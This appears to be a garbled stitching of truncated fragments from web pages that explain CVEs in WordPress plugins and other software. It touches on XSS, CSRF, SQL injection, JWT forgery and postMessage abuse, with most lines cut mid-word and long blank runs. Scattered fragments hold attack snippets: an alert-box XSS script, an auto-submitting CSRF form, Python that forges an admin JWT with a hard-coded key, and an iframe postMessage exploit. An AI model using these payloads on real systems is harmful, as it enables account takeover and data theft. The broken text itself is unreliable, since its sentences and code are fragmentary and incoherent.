uted, would send the user's cookie to the attacker's server.

r to a malicious website.

2/lib/functions.php#L287'.  
malicious JavaScript code.

oability disabled.

ied to perform actions on behalf of the user without their consent if the user has higher privileges, suc

n-depth analysis and explanations by security experts.

s or integrity compromise.

[erabilities/id/17dbfb82-e380-464a-bfaf-2d0f6bf07f25?source=cve](#)

essions.

request, and the stripe connect token or other settings could be altered.

?-4dfb-bfed-7a14872cd15a?source=cve

user accesses the page with the injected code.

mail=&reponame=&new=2966110%40photospace-responsive%2Ftrunk&old=2875667%40photospace

0-d5c5a206b11c?source=cve.



ervice and exfiltrate sensitive data through the response. In Artifact Hub version 1.16.0 and later, this d  
e Artifact Hub application.

that could be embedded in a URL or page: ``<script>alert('XSS Vulnerability!');</script>`` Note: This is just an example.

URLs contain user-specific details or tokens (e.g., API keys) that the victim's browser would automatically

[ps://plugins.trac.wordpress.org/browser/team-showcase/trunk/team-manager-free.php?rev=291214](https://plugins.trac.wordpress.org/browser/team-showcase/trunk/team-manager-free.php?rev=291214)

1e65-8b8a-c3a3059301fe?source=cve

-acee-4dc8-acd7-2d3f3493f253?source=cve  
malicious actions.



aintains a malicious script, it will be executed in the browser of any user who views the page. ``To mitigate







wing an attacker to insert additional SQL commands after the username and password.





a simple XSS attack.

























```
:key or claimsrafted_payload = {'user': 'admin', 'role': 'admin'}hardcoded_key = 'the_hard_coded_priv
```

on point in the CLI.



↓ be stored directly in the database and then executed in the browsers of users viewing the stored com

I code-centric explanation of the attack.













zation.  
website.

ual attacks might be more complex.

l'd be executed when the comment is displayed, because the output is not being sanitized before being





















is a more insidious action than showing an alert box.

'properly sanitized by the plugin, then the alert box with the message 'XSS' will pop up, indicating the scr

er could insert malicious scripts that will execute when the content is rendered.

of an XSS vulnerability.

attack range from data theft to unauthorized system access or even server compromise.

:d script.

















le codes, preventing the attack<sup>11</sup>





disrupting service.

ue" /> <input type="hidden" name="csrfToken" value="" /></form><script>document.getElementById('

ild unintentionally change settings or perform an action without the admin's knowledge.







[-97ae-26ba15d75cdc?source=cve](#)





tent`, this would result in a script execution within the victim's browser when they view the rendered p



er.

/E-2023-31579.













As a note, attackers would use more complex code to exploit the vulnerability in a real-world scenario.







it();</script>'. If an admin user visits this malicious page, the form could be auto-submitted without th









le uploads and multipart form data.

kers.







```
:e.com') { // This is the sensitive data sent by the extension console.log('Received data: ', e.data);
```







h as an admin account.





?-responsive%2Ftrunk&sfp\_email=&sfph\_mail=- https://www.wordfence.com/threat-intel/vulnerabilit





lefault behavior should be disabled.

code is for illustration purposes only and not a direct depiction of the actual exploit code for CVE-2023

y include in the request headers.

3#L893





To mitigate this vulnerability, one must apply proper input validation and encoding before inserting data into the database.







































```
 :ite_key'# Create a new JWT token with the hard-coded key
 crafted_token = jwt.encode(crafted_payload, :ite_key)
```





ments.



















ζ included in the HTML.























ipt has executed.































```
d("maliciousForm").submit();</script>``It's important to note that in this illustrative example, the atta
```















)age.



























e user's consent, performing the delete user action if no proper CSRF protection is in place in the appli

















```
} }); var iframe = document.getElementById('targetIframe'); iframe.contentWindow.postMessage('i
```













[ties/id/3bc98896-6ff9-40de-ace2-2ca331c2a44a?source=cve](#)







-45992.







e database and when rendering it to the browser.







































```
d, hardcoded_key, algorithm='HS256')print(f'Malicious Auth Token: {crafted_token}')``An attacker wou
```

















































































cker would need to bypass CSRF protections, such as tokens, which in case of the CVE might not be im|











































ication.

















```
takeScreenshot', '*');</script>``This script would effectively receive the screenshot data com
```





































































uld then includ

















































































plemented properly.





























































